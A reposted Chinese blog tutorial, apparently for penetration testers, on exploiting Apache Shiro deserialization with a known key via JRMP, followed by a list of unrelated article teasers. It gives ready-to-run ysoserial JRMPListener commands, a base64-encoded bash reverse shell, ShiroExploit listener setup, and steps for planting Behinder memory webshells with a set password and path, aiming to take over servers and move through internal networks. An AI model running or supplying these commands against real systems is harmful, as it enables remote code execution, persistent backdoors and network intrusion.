Shiro有key但无回显利用链子-JRMP大法

前言

shiro在手天下我有，扫出key直接梭哈getshell，横扫内网。但要是像这种情况，直接下班拜拜跑路，没有链子玩毛线…

file

直到出现了这么一个工具可以通过JRMP协议探测是否存在漏洞，很显然上面工具是做不到的，实战中很可能因此丢掉一个shell

JRMP协议探测漏洞

使用shiro_tool这个工具可以探测JRMP协议，其实也可以使用这个工具批量探测shiroKey，速度准确性还是挺高的

shiro_tool:https://github.com/wyzxxz/shiro_rce_tool

简单介绍一下使用方法：输入此命令即可全自动扫描探测，如果存在key则会自动扫描存在可利用的链子，存在多个链子可通过输入指定数字进行选中

如果不存在key则会提示让你提供可以用的key，没有就拜拜下班~~

也可以在命令添加一个参数keys=指定字典和key=指定key，什么都不添加就默认运行

java -jar shiro_tool.jar http://x.x.x.x/ keys= key=

file

我们这开一个靶场来练习一下使用JRMP获取shell

可以看到我们的工具已经扫出5条可以利用链子，但是0,1,2不是我们这篇文章的主题，直奔3,4，选中3链路，可以通过DNS判断目标是否出网，要是有回显，就可以开展后续的工作了

file

输入3后会提示输入http形式的DNS地址，直接输入即可，接着就可以在平台上看到回显。

file

ysoserial反序列化getshell

目标出网并且有回显，接下来一步就算getshell了。

业界有一款ysoserial反序列化神器，经过多个版本的迭代，已有很多师傅对该工具进行二次开发，诞生了很多反序列化利用链子供我们这些小白使用

这里我使用的是frohoff师傅开发的版本

ysoserial：https://github.com/frohoff/ysoserial/

然后将工具上传到部署VPS上即可食用，开放JRMP的1388端口进行监听，待会我们的工具指定这个端口就ok了

我们可以简单测试哪些链子可以使用，通过DNSlog回显可以得知

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "ping -c 2 cb183.dnslog.cn"

开始监听1388端口

file

好了，轮到我们的shiro_tool工具出场了，由于刚才使用了URLDNS进行探测，这里重新启动一下工具选择JRMP链子

指定刚才VPS绑定的1388端口，随后我们右边的VPS就开始收到消息了

file

这边的DNS平台也接收到消息了，说明我们选择的链子是有用的，要是没有回显可以逐步尝试一下其他链子，本菜菜也是一个个尝试的。

CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
CommonsCollections8
CommonsCollections9
CommonsCollections10

file

证明上面那个CommonsCollections2可以使用了，那就弹个shell吧，vps切换一下命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"

成功拿下，哈哈哈哈

file

shiroJRMP利用工具getshell

上面的步骤说实话有些过于繁琐了，每次切换命令都要手动打payload，并且链子也是得手动测反复查看DNSlog切换，这里使用一个工具是可以根据JRMP协议进行探测链子

ShiroExploit：https://github.com/feihong-cs/ShiroExploit-Deprecated

下载下来启动这个工具，至于ysoserial是赠送的，其原理也是通过这个工具进行探测。

这边就简单粗暴节省探测时间，指定10个CC链和1个CB链，指定key，指定回显方式为spring和tomcat，点击下一步。

java -jar .\ShiroExploit.jar

file

将ShiroExploit.jar也上传一份到vps上，已经存在的ysoserial-all，必须修改名字为ysoserial，不然无法使用。并且ShiroExploit.jar和ysoserial.jar处在同一个目录

file

vps输入命令进行监听，http端口为8181，jrmp端口为1388，可以自行改变端口，http端口在前，jrmp端口在后

java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer 8181 1388

file

回到攻击机器上配置ShiroExploit，输入vps地址和刚刚监听的端口，这里直接使用JRMP探测

3种探测简单说明

1、使用ceye探测- 可以不进行任何配置，配置文件中已经预置了 CEYE 域名和对应的 Token，当然也可以对其进行修改。
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key，然后依次调用各个 Gadget 生成 Payload
- 缺点：程序会使用 API：[http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID]](http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=%5BUUID%5D) 查询检测结果，这个 API 有时候会无法正常访问，导致在这种方式下无法找到 Key 或者有效的 Gadget2、使用dnslog探测- 可以不进行任何配置，每次启动时程序会自动从 `dnslog.cn` 申请一个 DNS Record。
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key，然后依次调用各个 Gadget 生成 Payload
- 缺点：少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget，且 dnslog.cn 只会记录最近的10条 DNS 解析记录3、使用JRMP探测- 需要在 VPS 上通过命令`java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]`开启HttpService/JRMPListener，并按照要求填入相应 IP 和端口
- 如果开启 HttpService/JRMPListener 时未指定端口号，则 `HTTPService` 默认监听 `8080` 端口，`JRMPListener` 默认监听 `8088` 端口
- 使用 `JRMP` 的方式进行漏洞检测，可以显著减小 cookie 大小
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key，然后使用 `JRMP` 依次为各个 Gadget 生成对应的 JRMPListener

file

从这里可以看出成功探测到两条可以利用的链子CommonsCollections2和CommonsCollections4

只有成功找到链子才可进行RCE

那就顺手弹个shell吧，这个工具好像不支持回显，不是很清楚…

file

vps这边也是成功收到反弹的shell

file

ysoserial升级版打内存马

shell有了是有了，总感觉少了点东西？马儿呢？

对啊，没有马儿怎么梭哈横扫内网，得想办法搞点东西维持一下权限。上面那个工具好像是可以直接一键Getshell，但是不太懂如何使用，而且还只是jsp的马子，传上去可能会考虑免杀之类的问题，而内存马就不用担心了哈哈哈哈

这里就可以使用另外一位师傅的魔改后的ysoserial工具打内存马，使用的是Y4er师傅开发的版本

ysoserial-0.0.6：https://github.com/Y4er/ysoserial

简单介绍一下：这里面多了几条链子是可以选择这位师傅现成的内存马也可以自己手动生成内存马添加进去，灵活运用

CommonsBeanutils183NOCC

CommonsBeanutils192NOCC

CommonsBeanutils192WithDualTreeBidiMap

Fastjson1

Fastjson2

Jackson1

Jackson2

链子使用方式，这里以Y4er师傅的例子为例，CommonsBeanutils192NOCC，其他链子应该也可以像这种方式进行使用

关键字CLASS：指定现成的内存马

关键字FILE：指定自定义生成的class内存马

不指定关键字：相当于普通的cmd方式执行命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"                     # TomcatCmdEcho
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromJMX"      # TomcatServletMemShellFromJMX
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromThread"   # TomcatServletMemShellFromThread
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromJMX"       # TomcatFilterMemShellFromJMX     适用于tomcat7-9
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromThread"    # TomcatFilterMemShellFromThread  适用于tomcat7-9
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromJMX"     # TomcatListenerMemShellFromJMX
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromThread"  # TomcatListenerMemShellFromThread
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerNeoRegFromThread"    # TomcatListenerNeoRegFromThread     python neoreg.py -k fuckyou
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:SpringInterceptorMemShell"         # SpringInterceptorMemShell       链接shell需要使用存在的路由
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "FILE:E:\Calc.class"                      # ClassLoaderTemplate
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "calc"                                    # CommandTemplate                 CLASS: FILE: 不使用协议开头则默认为执行cmd

因为是增强版，下面的链子均可如上方式传递参数

  1. Click1
  2. CommonsBeanutils1
  3. CommonsBeanutils183NOCC
  4. CommonsBeanutils192NOCC
  5. CommonsCollections2
  6. CommonsCollections3
  7. CommonsCollections4
  8. Hibernate1
  9. JavassistWeld1
  10. JBossInterceptors1
  11. Jdk7u21
  12. JSON1
  13. MozillaRhino1
  14. MozillaRhino2
  15. ROME
  16. Spring1
  17. Spring2
  18. Vaadin1

然后将工具上传到部署VPS上即可食用，开放JRMP的1388端口进行监听，待会我们的工具指定这个端口就ok了

经测试CommonsBeanutils183NOCC链子可使用，这次我们尝试新的链子吧

由于现成的内存马没有成功，只能手动生成一个内存马，这里使用的是pen4uin师傅的高度自定义内存马工具

java-memshell-generator：https://github.com/pen4uin/java-memshell-generator/

根据配置生成一个冰蝎内存马

内存马类名和注入器类名不指定会自动生成，如遇到失败情况可指定

密码: hello@2024
请求路径: /test.ico
请求头: Referer: Zdycorcn
脚本类型: JSP
内存马类名: org.apache.http.client.WebSocketUpgradeMbsxugFilter
注入器类名: org.apache.logging.d.HttpUtil![file](http://img.daibao.online/2024/06/image-1717850902553.png)

file

然后将此内存马上传到vps服务器上，vps输入以下命令即可加载冰蝎内存马

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils183NOCC
"FILE:/home/exptools/HttpUtil.classs"

冰蝎配置

file

冰蝎连接成功，开始内网梭哈之旅~~

经测试使用其他链子如：CC4链子也可像上面方式打入内存马

至于为什么不一开始就使用这个工具打，凡事都讲究循循渐进的嘛。

这个工具反弹了几次shell都没成功，同一个命令换了上面那个工具就弹成功了。

file

坑点：使用哥斯拉内存马可能会导致显示连接成功，但是哥斯拉客户端报空指针异常

file

空指针异常

file

浏览器访问内存马路径可能报404，但是已经成功打入的，至于为什么这样，菜菜还不是很明白，之前使用其他工具直接打都是空白页面不会显示404，一度以为还没打成功没上shell管理工具。

file

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/web/27584.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Cheat Engine 学习

Cheat Engine 学习

文章目录 Exact Value scanning任务实现步骤Unknown initial value任务实现步骤原理说明Floating points任务实现步骤原理说明Code finder任务实现步骤原理说明Pointers任务实现步骤原理说明Change Pointer 操作：Active（活跃状态）和数值修改：Code Injection任务概述实现步骤…
阅读更多...
2024年【四川省安全员C证】考试题及四川省安全员C证考试资料

2024年【四川省安全员C证】考试题及四川省安全员C证考试资料

题库来源：安全生产模拟考试一点通公众号小程序 四川省安全员C证考试题是安全生产模拟考试一点通总题库中生成的一套四川省安全员C证考试资料，安全生产模拟考试一点通上四川省安全员C证作业手机同步练习。2024年【四川省安全员C证】考试题及四川省安全员…
阅读更多...
博客没人看啊？我分析是这些原因

博客没人看啊？我分析是这些原因

1.封面 主题封面还是个性化封面？主题封面对系列化很友好，如下图左： 在目录中什么主题一目了然，个性化封面在目录中就略显杂乱。但是通过观察CSDN主页发现热榜文章清一色个性化封面。如果使文字封面就会显得很无聊。 所以从提高浏…
阅读更多...
Jenkins三种构建类型

Jenkins三种构建类型

目录 传送门前言一、概念二、前置处理（必做）1、赋予777权限2、让jenkins用户拥有root用户的kill权限3、要运行jar包端口号需要大于1024 三、自由风格软件项目（FreeStyle Project）（推荐）三、Maven项目&#…
阅读更多...
金融科技：推动保险行业数字化转型的引擎

金融科技：推动保险行业数字化转型的引擎

随着科技的飞速发展，金融科技（FinTech）已经成为推动金融行业变革的重要力量。特别是在保险行业，金融科技正引领着一场深刻的数字化转型，为保险公司带来了前所未有的机遇与挑战。本文将探讨金融科技如何推动保险行业的数…
阅读更多...
UDP 协议详解与实战

UDP 协议详解与实战

目录 简介什么是 UDP？UDP 与 TCP 的区别 UDP 数据传输方式单播 - Unicast（1:1）广播 - Broadcast（1:n）有限广播 - Limited Broadcast直接广播 - Directed Broadcast 组/多播 - Multicast（n:m）任播…
阅读更多...
屹晶微EG3002 单通道功率MOSFET驱动芯片 贴片SOP8

屹晶微EG3002 单通道功率MOSFET驱动芯片 贴片SOP8

EG3002作为一款功率MOSFET驱动芯片，它的应用领域主要取决于其技术参数和性能特点。根据之前提供的信息，EG3002可能适用于以下领域： 1. 电源管理：用于高效率电源转换器，如开关电源（SMPS）、电池充…
阅读更多...
栈的实现详解

栈的实现详解

目录 1. 栈1.1 栈的概念及结构1.2 栈的实现方式1.3 栈的应用场景 2. 栈的实现2.1 结构体2.2 初始化2.3 销毁2.4 入栈2.5 出栈2.6 获取栈顶元素2.7 判空2.8 获取个数 3. test主函数4. Stack.c文件5. Stack.h文件6. 运行展示 1. 栈 1.1 栈的概念及结构 栈：一种特殊的…
阅读更多...
【YashanDB知识库】PHP使用OCI接口使用数据库绑定参数功能异常

【YashanDB知识库】PHP使用OCI接口使用数据库绑定参数功能异常

【问题分类】驱动使用 【关键字】OCI、驱动使用、PHP 【问题描述】 PHP使用OCI8连接yashan数据库，使用绑定参数获取数据时，出现报错 如果使用PDO_OCI接口连接数据库，未弹出异常，但是无法正确获取数据 【问题原因分析】 开启O…
阅读更多...
张艺兴step新专开启自由驾驶新纪元

张艺兴step新专开启自由驾驶新纪元

张艺兴《Step》新专，开启自由驾驶新纪元！当音乐与驾驶相遇，会碰撞出怎样的火花？当实力派艺人张艺兴遇上全新英文专辑《Step》，便为我们解锁了一种前所未有的出行体验！这不仅仅是一张音乐专辑，更…
阅读更多...
Pandas AI：最棒的大模型数据分析神器！

Pandas AI：最棒的大模型数据分析神器！

暑期实习基本结束了，校招即将开启。 不同以往的是，当前职场环境已不再是那个双向奔赴时代了。求职者在变多，HC 在变少，岗位要求还更高了。 最近，我们又陆续整理了很多大厂的面试题，帮助一些球友解惑答疑&…
阅读更多...
Java Opencv识别图片上的虫子

Java Opencv识别图片上的虫子

最近有个需求，希望识别图片上的虫子，对于java来说，图像识别不是很好做。在网上也搜索了很多，很多的代码都是不完整，或者下载下载报错，有的写的很长看不懂。所以自己试着用java的opencv写了一段代码。发现识…
阅读更多...
Django+Vue.js怎么实现搜索功能

Django+Vue.js怎么实现搜索功能

一.前言 类似这样的搜索功能 二.前端代码 <div class"form-container"><div class"form-group"><label for"departure-city">出发城市</label><select v-model"departureCity" id"departure-city&q…
阅读更多...
把Vue项目从Window系统迁移到Mac系统的方案

把Vue项目从Window系统迁移到Mac系统的方案

不能启动vue ui 直接运行&#xff0c;会报错如下&#xff1a; failed to load config from /Users/xiaochen/IdeaProjects/ChatViewer-frontend/vite.config.tserror when starting dev server: Error: You installed esbuild for another platform than the one youre curre…
阅读更多...
C++:STL容器--＞set

C++:STL容器--＞set

使用set容器时需要导入头文件&#xff1a;#include <set> set和multiset区别&#xff1a; set不允许容器中有重复的元素 multiset允许容器中有重复的元素 1. 构造函数 set<T> st; set s(const &st); void printSet(set<int>& s) {for (set<int>…
阅读更多...
Integer溢出问题

Integer溢出问题

0. 背景 在刷 LeetCode 时&#xff0c;代码的执行结果与预期出现了偏差&#xff0c;原因是 Int 值超过了允许范围 [ − 2 31 , 2 31 − 1 ] [-2^{31},2^{31}-1 ] [−231,231−1]。工作中从来没有遇到过这种情况&#xff0c;之前的认知是如果 Int 中存储的值超过了允许范围也许…
阅读更多...
【FreeRTOS】ARM架构汇编实例

【FreeRTOS】ARM架构汇编实例

目录 ARM架构简明教程1. ARM架构电脑的组成1.2 RISC1.2 提出问题1.3 CPU内部寄存器1.4 汇编指令 2. C函数的反汇编 学习视频 【FreeRTOS入门与工程实践 --由浅入深带你学习FreeRTOS&#xff08;FreeRTOS教程 基于STM32&#xff0c;以实际项目为导向&#xff09;】 https://www.…
阅读更多...
Unity制作背包的格子

Unity制作背包的格子

1.新建一个面板 2.点击面板并添加这个组件 3.点击UI创建一个原始图像&#xff0c;这样我们就会发现图像出现在了面板的左上角。 4.多复制几个并改变 Grid Layout Group的参数就可以实现下面的效果了
阅读更多...
GraogGNSSLib学习

GraogGNSSLib学习

GraogGNSSLib学习 程序编译环境版本项目编译结果问题 程序编译 GraphGNSSLib 环境版本 程序开源是在ubuntu16.04-kinetic环境跑通的&#xff0c;但是我的环境是UBUNTU20.04&#xff0c;所以&#xff0c;先进行了ROS的安装&#xff0c;因为我的系统是ubuntu20.04所以&#xf…
阅读更多...
Linux--MQTT（一）简介

Linux--MQTT（一）简介

一、简介 MQTT &#xff08; Message Queuing Telemetry Transport&#xff0c;消息队列遥测传输&#xff09;&#xff0c; 是一种基于客户端服务端架构的发布/订阅模式的消息传输协议。 与 HTTP 协议一样&#xff0c; MQTT 协议也是应用层协议&#xff0c;工作在 TCP/IP 四…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023